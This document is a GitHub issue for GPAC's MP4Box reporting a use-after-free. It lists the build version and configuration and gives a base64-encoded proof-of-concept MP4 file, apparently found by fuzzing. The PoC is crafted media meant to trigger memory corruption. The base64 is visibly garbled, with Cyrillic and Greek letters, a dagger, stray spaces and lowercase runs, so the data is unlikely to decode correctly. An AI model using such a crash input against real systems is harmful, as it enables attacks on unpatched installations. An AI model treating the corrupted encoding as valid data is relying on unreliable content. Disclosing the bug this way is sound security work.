

New issue Jump to bottom

Use After Free #2058

⊘ Closed

rbouqueau opened this issue on Jan 21 · 1 comment

rbouqueau commented on Jan 21

Contributor

Proof of Concept

Version:

MP4Box - GPAC version 1.1.0-DEV-rev1647-gb6f68145e-master (c) 2000-2022 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io

Please cite our work in your research:

GPAC Filters: https://doi.org/10.1145/3339825.3394929

GPAC: https://doi.org/10.1145/1291233.1291452

GPAC Configuration: --prefix=/home/aidai/fuzzing/gpac/

Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF

GPAC_HAS_QJS GPAC_HAS_LINUX_DVB GPAC_DISABLE_3D

System information Ubuntu 20.04 focal, AMD EPYC 7742 64-Core @ 16x 2.25GHz

рос

base64 poc

AAAAFHN0eXDoAwAFEHNzc21wNDEAACzTbW9vdgAAAGxtdmhkAAAAIkic2V9InNlhAAFfkAAfXZgA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAACQAAACppb2RzAAAAABCAgIAZAE///w8B/w6AgIAEAAAABw6A gIAEAAAACAAACAN0cmFrAAAAXHRraGQAAAABSJzZX0ic2V8AAAABAAACAAAfT6AAAAAAAAAAAAAAA YQAAACBtZGhkAAAAAEic2V9InNlfAAFfkAAfT6AAAAAAAAAIWhkbHIAAAAAAAAAHZpZGUAAAAA AAAAAAAAAAAAAHVm1pbmYAAAAUdm1oZAAAAAEAAAAAAAAAAAAAACRkQ0NmAAAAHGRyZWYAAAAA AAAAAQAAAAX1cmwgAAAAAQAABxZzdGJsAAAAtnN0c2QAAAAAAAAAAAQAAKZtcDR2AAAAAAAAAAAAA AAAAAAAAAAAAGP//AAAAUGVzZHMAAAAAA4CAgD8AAQAEgICAMSARABVpAANQ4AADBcEFgICAHwAA AbADAAABtQkAAAEAAAABIADIiLqYYfQgsIJCgwcGgICAAQIAAAAYc3R0cwAAAAAAAAAAAABAAABVgAA F3AAAAVsc3RzegAAAAAAAAAAAAAABVgAAC+0AAAJhAAACeAAAApwAAAKWAAADxgAABAUAAARfAAAH ewAAB1cAAASH///99gAAC7AAAAcwAAAHDwAAB0oAAAciAAAElgAABLoAAARSAAAENQAABJUAAAdb AAAG2QAAB4YAAAfUAAAH8gAACEgAAAAAAAAD3gAAD4kAAAS9AAAEvwAAAtYAAAL7AAADpQAABEgA AASAAAADrAAAG+AAAAcZAAAKywAAC3gAAAuGAAAHVAAABzAAAAazAAADywAABLcAAARtAAAE5wAA BOUAAAeNAAAGpQAABrwAAAbiAAAGmgAAByoAAAfxAAAHOAAAFJIAAATUAAAFLgAAAyEAAAMjAAAD KQAAAugAAANdAAAEswAAA9oAAAQkAAAG4gAABo0AAArUAAALUgAACx4AAAvxAAAHzgAABzcAAAbk

AAADtAAAA/UAAAQ7AAAEPwAABNUAAAQ+AAAERgAABrcAAAaKAAAHDwAAFWkAAAgZAAAE1QAABHAA AAPWAAADtQAABAUAAAQ7AAAEKAAABDIAAAb4AAAGdwAABqEAAAbzAAALOQAAC5sAAAeyAAAIDQAA BzIAAAdqAAAELwAAA/sAAAPHAAAESgAAA0AAAAbqAAAGhgAABssAAAb+AAAHhQAAFMEAAAfHAAAH OWAAA+AAAAP/AAADEgAAAzsAAAM†AAAEkAAABC8AAARkAAAHzOAABxoAAAbtAAAKsOAAC5EAAAcD AAAHCQAAB+QAAAdjAAAHVgAAA7AAAAO8AAAEOgAABESAAASVAAAHTQAAByYAAAalAAAHHQAAFRMA AAeYAAAEmgAABKUAAAKQAAADGAAAAOcAAAP7AAADpAAAA84AAAexAAAICgAAB0kAAAtoAAALAQAA BrcAAAcnAAAHPAAAB6UAAAeGAAAD6QAAA3AAAAOJAAADngAABqUAAAdMAAAHWAAABm8AAAbLAAAG mQAAFPSAAAftAAAD/AAABBOAAAPQAAAENwAABEYAAAQJAAAEYQAABCgAAAeIAAAH2wAAB0UAAAb1 AAAHOQAABqQAAAYqAAAG+gAAB1MAAACYAAAHMgAABxsaAAbQAAAGogAABrwAAAAbpAAAHYwAABxQA AAOOAAAEOAAAFPSAAAObAAADrAAAASMAAAKtAAACswAABJ4AAAOtAAAHOgAABSAAAAACNAAAGgwAA BqAAAArRAAAMBQAAB1EAAAZSAAAGSAAABvEAAAbCAAAD1QAABH4AAATCAAAEugAACBQAAAeQAAAH AQAABycAAAbqAAAG7AAAFNYAAAS3AAAFZQAAAzgAAAMVAAAEGgAABRsAAAVyAAAFNgAABXQAAAYB AAAFYOAABUMAAAVUAAAKfwAACg8AAAnOAAAJTAAABNYAAATwAAAE1AAABGoAAARwAAAENwAABKKA AAlmAAAIgAAACJ8AAAkpAAAJLwAAEegAAAW2AAAD9wAAA9oAAAJBAAAB6QAAA4YAABXwAAAEmwAA BjgAAAZEAAAGAQAACaAAAAnYAAAIuwAAB1MAAAeFAAAHgQAABNkAAAS8AAAETwAAAz0AAAayAAAH YAAAB7UAAAi0AAAJVwAACG0AAAgjAAAE+QAAEScAAAUyAAADfQAAAwkAAAHsAAADagAAA4gAAATt AAAF7QAABOQAAARhAAAIswAACLcAAAnHAAAJWQAACLoAAAmwAAAH4wAAA7oAAAPjAAAEHgAABEEA AARBAAAIKWAAB5IAAAcnAAAHRQAACAOAAAe0AAAIiQAAEkEAAAYmAAAFdgAABK0AAAA8AAAAPAAA AhsaaalgaaacooaabwuaaahfaaaknoaaachzdHNjaaaaaaaaaaIaaaabaaaadwaaaaeaaaaaxaaaa DAAAAAEAAABsc3RjbwAAAAAAAAAAAAAAA/gAAzCUAAWSSAAIEswACm90AAzRvAAPNZAAEbHsABQbL AAWkHgAGPwwABuG3AAd3mAAIFTYACLHgAAlSqQAJ6xgACoORAAsnxAALwLEADF+4AAz3nQAN1FsA AS0AAAFLAAAJM3RyYWsAAABcdGtoZAAAAABInNlfSJzZXwAAAAIAAAAAAB9PoAAAAAAAAAAAAAAAA AAAAIG1kaGQAAAAASJzZX0ic2V8AAV+QAB9PoAAAAAAAAAAAhaGRscgAAAAAAAAAAAG1udAAAAAAA AAAAAAAAAAAAAbcbWluZgAAABxobWhkAAAAAAXABAQAA1mAAAMVywAAAAAAAAAAkZGluZgAAABxk cmVmAAAA5wAAAEAAAAMdXJsIAAAAAEAAAaUc3RibAAAADRzdHNkAAAAAAAAAAAAAAkcnRwIAAA AAAAAAABAAEAAQAABbQAAAAMdGltcwABX5AAAAAYc3R0cwAAAAAAAAAAABAABVgAAF3AAAAVsc3Rz AAA8AAAAPAAAADwAAA8AAAAIAAAAFgAAAAgAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAA ADwaaaa8aaaaPaaaaFgaaaByaaaaPaaaaDwaaaa8aaaaIaaaaCaaaaagaaaaIaaaaCaaaaa8aaaa PAAAADWAAAA8AAAAPAAAADWAAAA8AAAAAPAAAAHQAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAg AAAgAAAAIAAAACAAAAAgAAAIAAAADwAAAA8AAAAPAAAAHQAAAA8AAAIAAAACAAAAAgAAEAIAAA ACAAAAAgAAAIAAAACAAAAA8AAAAPAAAADwAAAA8AAAAPAAAAFgAAAA8AAAAPAAAADwAAAA8AAAA ΙΑΑΑΑ CAAAA A GAAA A IAAA A CAAAA A 8AAAA PAAAA DWAAAA 8AAAA PAAAA HQAAAA 8AAAA PAAAA CAAAA A G WAAAADwAAAA8AAAAPAAAADwAAAA8AAAAIAAAACAAAAgAAAIAAAADwAAAA8AAAAPFSoXNaITOVt ADWAAAA8AAAAPAAAAHQAAAA8AAAAIAAAACAAAAAgAAAIAAAACAAAAAgAP/gIAAAADWAAAA8AAAA AAAAPAAAADwAAAA8AAAAIAAAAHQAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAPAAAACAA AAAgAAAAPAAAADwAAAA8AAAAPAAAADwAAAA8AAAAPAAAACAAAAgAAAAIAAAACAAAAAgaAAAAPAAA ADwAAAA8AAAAPAAAADwAAAA8AAAAAPAAAAHQAAAA8AAA1QAAACAAAAAgAAAA1AAAACAAAAAAgAAAA IAAAACAAAAA8AAAAPAAAAChzdHNjAAAAAAAAAIAAAABAAAADwAAAAEAAAAXAAAAAAAAAAAABs c3RjbwAAAAAAAAAAAAAQAAyUkAAWGaAAIBuwACmTkAAzGTAAPKiAAEaWcABQPvAAX9CgAGPKIA Bt6jAAd0vAAIEeoACK7MAAlPlQAJ6KwACoDRAAskzAALvbkADFz4AAz0pQANkjMAAABAc3RzcwAA AAAAAAAMAAAAQAAAB8AAAA9AAAAWwAAAHkAAACXAAAAtQAAANMAAADxAAABDwAAAS0AAAFLAAAA

FHRyZWYAAAAMaGludAAAAAEAAAGWdWR0YQAAAMxobnRpAAAAxHNkcCBtPXZpZGVvIDAgUlRQL0FW UCA5Ng0KYT1ydHBtYXA6OTYgTVA0Vi1FUy85MDAwMA0KYT1jb250cm9sOnRyYWNrSUQ9Mg0KYT1t cGVnNC1lc2lkOjENCmE9Zm10cDo5NiBwcm9maWxlLWxldmVsLWlkPTE7IGNvbmZpZz0wMDAwMDFi MDAzMDAwMDAxYjUwOTAwMDAwMTAwMDAxMjAwMGM4ODhiYTk4NjFmNDIwYjA4MjOyODMwNzsN CgAAAMJoaW5mAAAAEHRycHkAAAAAAAjK6wAAABBudW1wAAAAAAAjAAAAQdHB5bAAAAAAACLCr AAAAEG1heHIAAAPoAABrMAAAABBkbWVkAAAAAAIsIwAAAAQZG1tbQAAAAAAAAAAAAAAEGRyZXAA AAAAAAAAAAAAXObWluAAAAAAAAAAXObWF4AAAAAAAAAXwbWF4AAAFwAAAAAAXkbWF4AAAXcAAA ABpwYX10AAAAYA1NUDRWLUVTLzkwMA8wAAACdnVkdGEAAAJuaG50aQAAAmZydHAgc2RwIGE9aXNt YS1jb21wbGlhbmNl0jEsMS4wLDENCmE9bXBlZzQtaW9kOiAiZGF0YTphcHBsaWNhdGlvbi9tcGVn NC1pb207YmFzZTY0LEFvAAEAAE1BVC8vL0R3SC9BNENBZ2dnOUIwRGtaR0YwWVRwaGNIOnNhV05o ZEdsdmJpOXRjR1ZuTkMxdlpDMWhkVHRpWVhObE5qUXNRVmxEUVdkUmEwSm5TVU5CVFZGTFprRTBR MEZuUTI5Q1FsRkJSV2RKUTBGR1JVR1dRVUZGYTBGQ1IwTTBRVUZDW1Vnd1JtZEpRMEZCYUVsU1Ft OURRV2RCYTBK01FVRkJRVUZCUVVG01FVSm5TVU5CVkdkV1prRTBRMEZuU1d001FWRkJSV2RKUTBG TluwRlnRVupXY0VGQlRsRTBRVUZFUW1ORlJtZEpRMEZJZDBGQlFXSkJSRUZCUVVKMFVXdEJRVUZG UVVGQ1FVSkpRVVJKYVV4eFdWbG1VV2R6U1VwRFozZGpSMmRKUTBGRFVVVkJRVUZCUVVGQ1FVRkJR VDA5QklDQWdBMEJCUUFBQUFBQUFBQUFBQVBBQm9DQWdBa0JBQUFBQUFBQUFBQURnSUNBYUlBSVFE NWtZWFJoT21Gd2NHeHBZMkYwYVc5dUwyMXdaV2MwTFdKcFpuTXRZWFU3AAAAAVpUWTBMSGRDUVZO b1ZFRnhRbGhLUUVKSmFGR1NVV1V2UTRFOVBRU0FnSUFWQWcwQUFBQUFBQUFBQUFBQUFBV0FnSUFE OUFCOUJv00FnOWtCOUFBOUFBOUFBUE9Ig0KAAAReHRyYWsAAABcdGtoZAAAAAFInNlhSJzZYOAA AEAAAAAAAAAAAAAAAAAERRtZGlhAAAAIG1kaGQAAAAASJzZYUic2WEAAKxnAA9gAAAAAAAAAAA aGRscgAAAAAAAAAC291bgAAAAAAAAAAAAAAAAAABDLbWluZgAAABBzbWhkAAAAAAAAAAAAAAAA ZGluZgAAABxkcmVmAAAAAAIAAAEAAAAMdXJsIAAAAAEAABCPc3RibAAAAGdzdHNkAAAAAAAAAAAAA AABXbXA0YQAAAAAAAAAAAAAAAAAAAAAAAAAAAAKxEAAAAAZZXNkcwAAAAADgICAIgAFAASA gIAUQBUAASQAAYLgAAF4fQWAgIACEhAGgICAAQIAAAAYc3R0cwAAAAAAAAAAAAAD2AAABAAAAAAA c3RzegAAAAAAAAAAAAAAD2AAAAQ4AAMmDqW/YZRQAAR4AAAEbAAABGgAAARQAAAEaAAABFAAAAREA AAEXAAABGAAAAROAAAEfAAABHQAAARwAAAEOAAABGgAAAR4AAAEeAAABGAAAARQAAAESAAABCgAA ARUAAAECAAABFWAAARgAAAEbAAABGgAAAROAAAENAAABFAAAAR4AAAEfAAABIQAAAR8AAAERAAAB GQAAARWAAAE jAAABHWAAAR4AAAEbAAABHgAAARYAAAEUAAABGAAAARUAAAEYAAABHQAAAQkAAAEc AAABGgAAAREAAAECAAABHQAAAR0AAAEfAAABFwAAARgAAAEYAAABHAAAARQAAAERAAABDgAAARSA AAECAAABEQAAARIAAAEeAAABGWAAAR4AAAEhAAABHAAAARSAAAEWAAABGWAAAROAAAEdAAABFWAA AR8AAAEaAAABGgAAARwAAAEaAAABGAAAARSAAAEWAAABHAAAARcAAAEbAAABGAAAAR8AAAEZAAAB DQAAARCAAAEZAAABFWAAARUAAAEVAAABDgAAAR0AAAEiAAABIAAAASAAAAEdAAABGAAAAR8AAAEa AAABIgAAARgAAAEdAAABGQAAAR0AAAEfAAABGgAAASAAAAEZAAABHQAAARIAAAEdAAABHgAAARYA AAETAAABGgAAARQAAAEdAAABFgAAARwAAAEQAAABGAAAEAAAAAEcAAABFQAAARUAAAETAAABHAAA ARQAAgEZAAABFQAAAR0AAAEeAAABFwAAARwAAAEgAAABFgAAAR8AAAEfAAABIQAAASEAAAEfAAAB GWAAARSAAAE FAAABH gAAAR KAAAE dAAAB FAAAARSAAAE CAAAB GWAAAROAAAE dAAAB DWAAARSAAAE X AAABEAAAARgAAAEbAAABFQAAARkAAAEcAAABFwAAARcAAAEVAAABFwAAARQAAAEYAAABHgAAAQ8A AAEFAAABIQAAAROAAAEcAAABHAAAARwAAAEeAAABGwAAgRwAAAEaAAABIAAAASAAAAEdAAABHwAA AR4AAAEdAAABHgAAARgAAAEdAAABGwAAARwAAAEbAAABEwAAAQ8AAAESAAABFgAAAQoAAAERAAAB HgAAARgAAAEaAAABGQAAASAAAAEcAAABEwAAARQAAAESAAABFAAAAR4AAAEhAAABGgIAAR0AAAEh AAABIWAAAROAAAEgAAABHgAAAROAAAEiAAABHQAAARSAAAEZAAABHQAAARYAAAEgAAABHAAAAROA AAEgAAABGgAAARsAAgEfAAARGQAAAR0AAAESAAABHgAAAQcAAAEJAAABHgAAAR4AAAEdAAABGgAA AQ8AAAEeAAABFgAAARwAAAEfAAABGgAgARcAAAEXAAABHQAAARsAAAEVAAABFQAAAQwAAAETAAAB GwaaasaaaaegaaabeQaaaQ8aaaefaaabiwaaar8aaaeiaaabFaaaaryaaaemaaabFwaaar8aaaef AAABIQAAARWAAAEbAAABGAAAAR8AAAEZAAABCWAAARWAAAEeAAABHAAAARWAAAEdAACAAAAAAREA AAEbaaabfaaaroaaaeaaaabhoaaaroaaaepaaabggaaarsaaaez+wabhgaaarkaaaedaaabhwaa AROAAAEaAAABGgAAAR4AAAEgAAABHQAAAR8AAAEfAAABAQAAAR4AAAEeAAABHAAAARwAAAEcAAAB FQAAARgAAAEQAAABFAAAARYAAAEbAAABHAAAARwAAAEeAAABHQAAARwAAAEXAAABFwAAARwAAAEU AAABGgAAARQAAAEYAAABGQAAASIAAAEQAAABIgAAARQAAAEFAAABEwAAARkAAAEeAAABGAAAAROA AAE aAAABHQAAARMAAAE dAAABGQAAAR SAAAENAAABEQAAAROAAAE XAAABHAAAAR YAAAE WAAABFQAA AQSAAAEFAAABHwAAARCAAAEJAAABHQAAAROAAAEZAAABFAAAAROAAAEZAAABDwAAARgAAAEgAAAB FAAAARQAAAEaAAABIAAAASAAAAEeAAABHAAAARCAAAEfAAABGgAAAROAAAEeAAABGAAAAR4AAAEf AAABHgAAARIAAAEZAAABFgAAAR0AAAECAAABHAAAASIAAAEPAAABGAAAAQ8AAAEZAAABDgAAARkA AAEaAAABHQAAARgAAAESAAABGQAAARYAAAEdAAABGgAAAR4AAAEfAAABHwAAAR8AAAEZAAABHQAA ASAAAAEhAAABHwAAARwAAAEaAAABIAAAARgAAAETAAABHAAAASAAAAERAAABEwAAARYAAAEYAAAB

GgAAAR0AAAEbAAABHgAAAQsAAAEgAAABHQAAARYAAAEeAAABHAAAARIAAAEXAAAFHwAAARwAAAEd AAABHgAAASAAAAEhAAABIAAAASAAAAEfAAABHQAAAR8AAAEgAAABHQAAASEAAAEfAAABGQAAARoA AAECAAABGAAAARSAAAEdAAABFWAAAREAAAEaAAABIQAAAR8AAAENAAABGWAAARKAAAEYAAABEgAA ARKAAAEeAAABHOAAASOAAAEdAAABHWAAAROAAAEUAAABHOAAARCAAAEbAAABHWAAASEAAAECAAAB GQAAARYAAAEUAAABGwAAAR4AAAEgAAABGwAAASAAAAEUAAABEwAAAR8AAAEYAAABFQAAAR0AAAEV AAABHQAAAREAAAEYAAABGgAAARSAAAERQISKvp741Jk+A5kBPm1kSdGhp1B4w10cddYI+Fi4M0E4 vCjzneNA6i7vGcvGU8RofX0cCnn+EiyRgwOLzh0Ky1wj4smSraUCAa1bjAGai61LGz0Us1D3Ikgv UzEnE4DuvCnZeiP2jvLtAt5oaL9DsE/eNQR2xGtrUmgYERtgkzy+Y1gMOaIqCascC42I/+c3qJSu gGDtvOa1n7bNWHKsdzfYOnxpr1y81I1V20fAYx28YsqXWOiCOgYZ50LwQ7rqLf2T2yXLq/KqwfJ6 z9To7mK+UnUtfArRGTzxfAJz1kT7FJ/64EdBmvfyttNeYnhGoMaHgGy8RFCsDv06CEXOtVKMTqVn kAU0Lu0sLSitDY18sARP1ZY3EjSJEDHPRmKKICcODfHkojoGgb8Od4NhwwKqusHxnnDIjYhkzqYE sEYI4IEAacCnp27hawV6TBuKGV1kmsNNJhNRDrQdBgbh8R/GwYq3gKvsLRh/zcYo9jfQR6SgVbob Rhva2NWwmIUAAAG2UAMcEYx83ubNzRHHYLJORNHToz0CLg5PPTAv0xbEfsK8JXJ84GhoVXV5Rp1M FYj+B+2CeNgvaayuB3BQ4Y8HBTU4hANaDoEYYBkI/h6A///gWcHsmRn9k8w3qy01tZUThvPM3yn vEwHFAjW9A3W9AkYrgp62sDmLYBjMbV5P+/ecT3iLAYqXLH9bSS81rc63ubMQ9mu7xJyrLxRAVTL vaDEiOvEfwo5qTNS1D+zOMJikb9IG1EbGzc6wg62op3vWi0cJmypzRKI8PgWodiGDEKgFMomLclj a1WXTAxv6Zhvl32FmsMZpEC0CnyBfg0EHBfQcfpoaOT0QMIaAYqLPYl1IWtIN6f7E9M/ZSh6lJBH rjcNRN14MUrdwQRcn0chfRqFPbWaaKOh3hkR5+rlqS8TtjSoOFm7Eec3vrSf+gW3Iv5HihvUpiKG 2xaeEf0tZB3BoITUZEbU/+9HW6zXbPzUDHGcLb2dJLuYUo0ojcXPzqcYCP6H5WgwhouSssIWFxOu IPAkxwU2ZBAJwW3S00gSfszcbggMXWmhlcc4FNqeizI1dn9aoGL/d7o75E3Yom0G03UcyJhvKvsy 3CH/rO37NHXo3edrFz11PdjgYrBGRma0ZCn+7VSNZOI2d1jV28hoRaze3Sgq0GIBFwAAARoAAAEU AAABEgAAAREAAAEVAAABGwAAAROAAAESAAABCAAAAOYAAAEUAAABGAAAAR8AAAEMAAABEQAAARwA AAEgAAABIAAAAROAAAEfAAABHwAAASEAAAERAAABHAAAASIAAAEfAAABHgAAAR8AAAEgAAABIAAA ARQAAAEgAAABFwAAARkAAAEbAAABGwAAARIAAAEPAIABHQAAAAAAAEZAAABHQAAARsAAAEJAAAB HAAAAQOAAAECAAABDgAAAROAAAECAAABGwAAARCAAAEWAAABGQAAASAAAAEVAAABEwAAAR0AAAEU AAABDgAAAR4AAAEeAAABHAAAARwAAAEaAAABHgAAAR0AAAEgAAABHwD/6xwAAAEfAAABFQAAAR0A AAEdAAABGQAAARwAAAEdAAABGwAAARoAAAEcAAABHgAAAR4AAAEAAAAhAAAAQAAABxzdHNjAAAA AAAAAAEbAAABHQAAARwAAAEgAAABGwAAAR4AAAEeAAABGwAAARUAACIWAAABGwAAASQAAAEhAAAB GWAAARSAAAEgAAABHQAAAR0AAAEdAAABIAAAAR4AAAEbAAABGWAAARkAAAEdAAABHgAAARUAAAEc AAABHWAAARKAAAEfAAABFgAAARMAAAEaAAABGAAAARsAAAEaAAABGgAAAR4AAAEfAAABGAAAARKA AAETAAABHAAAAROAAAEZAAABGQAAARIAAAEdAAABIQAAAR8AAAEeAAABGwAAASIAAAEc5QABHgAA AR0AAAEhAAABIWAAARWAAAEgAAABHQAAAR8AAAEYAAABFgAAAR4AAAERAAABCWAAARsAAAENAAAB FWAAAR8AAAEPAAABFQAAARSAAAEgAAABEQAAAQ4AAAEWAAABFgAAARIAAAEYAAABFgAAARYAAAEb AAABFAAAARØAAAEIAAABGQAAARSAAAEbAAABFQAAARoAAAEhAAABHQAAARIAAAEbAAABHAAAARØA AAE aAAABHQAAARoAAAE eAAABHAAAAROAAAE hAAkBHgAAAR4AAAE hAAABHhAAAROAAAE CAAABHQAA AR8AAAEdAAABHgAAARcAAAEdAAABFQDrARwAAAETAAABFwAAARwAAAEVAAABFQAAARUAAAEcAAAB GAAAARYAAAELAAABGAAAARSAAAEaAAABGWAAARCAAAEbAAABGgAAARkAAAEXAAABFAAAARQAAAEX AAABCgAAAR0AAAEcAAABGwAAARoAAAEiAAABGgAAARMAAAEZAAABFAAAAQ8AAAEdAAABFgAAARwA AAEOAAABFgAAARYAAAEUAAABDwAAAChzdHNjAAAAAAAAAIAAAABAAAALAAAAAEAAAAXAAAAEAAA AAEAAABsc3RjbwAAAAAAAAAAAAAXAACY3wABKpEAAcqXAAJiDgAC+mkAA5MzAAQyTAAEzKoABWntAAYF ewAGpzEABz2YAAfaswAId7AACRi4AAmxuAAKSbgACu2tAAuGHgAMJYYADL22AA1clwAN3GEAAAPD AABInNlhSJzZYQAArEQAD1AAAAAAAAAAACFoZGxyAAAAAAAAABoaW50AAAAAAAAAAAAAAAAAAAAAAAAA AUBtaW5mAAAAHGhtaGQAAAAABbUFmAABlcAAAYF7AAAAAAAAACRkaW5mAAAAHGRyZWYAAAAAAAAAA AQAAAAx1cmwgAAAAAQAAAPhzdGJsAAAAANHN0c2QAAAAAAAAAQAAAB9ydHAgAAAAAAAAAAAAAAAAAAAAA AAAFtAAAAAX0aW1zAACsRAAAABhzdHRzAAAAAAAAAAAAAEAAADEAAAUAAAAABRzdHN6FQAAAAAAAAAAAA AADEAAAAKHNOc2MAAAAAAAAAAAAgAAAEAAAAJAAAAQAAABYAAAAHAAAAAQAAAGhzdGNvAAAAmAAA ABYAACzvAAFa2gAB+vsAApJ5AAMq0wADw8gABGKnAAT9LwAFmkoABjXiAAbX4wAHbfwACAsqAAio DAAJSNUACeHsAAp6EQALHgwAC7b5AAxWOAAM7eUADYzzAAAAFHRyZWYAAAAMaG1udAAAAAUAAAHC dWR0YQAAAPJobnRpAAAA6nNkcCBtPWF1ZGlvIDAgUlRQL0FWUCA5Nw0KYT1ydHBtYXA6OTcgbXBl ZzQtZ2VuZXJpYy80NDEwMA0KYT1jb250cm9sOnRyYWNrSUQ9Ng0KYT1tcGVnNP//c2lk0jUNCmE9 Zm10cDo5NyBzdHJ1YW10eXB1PTU7IHVyb2ZpbGUtbGV2ZWwtaWQ9MTU7IG1vZGU9QUFDLWhicjsg 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

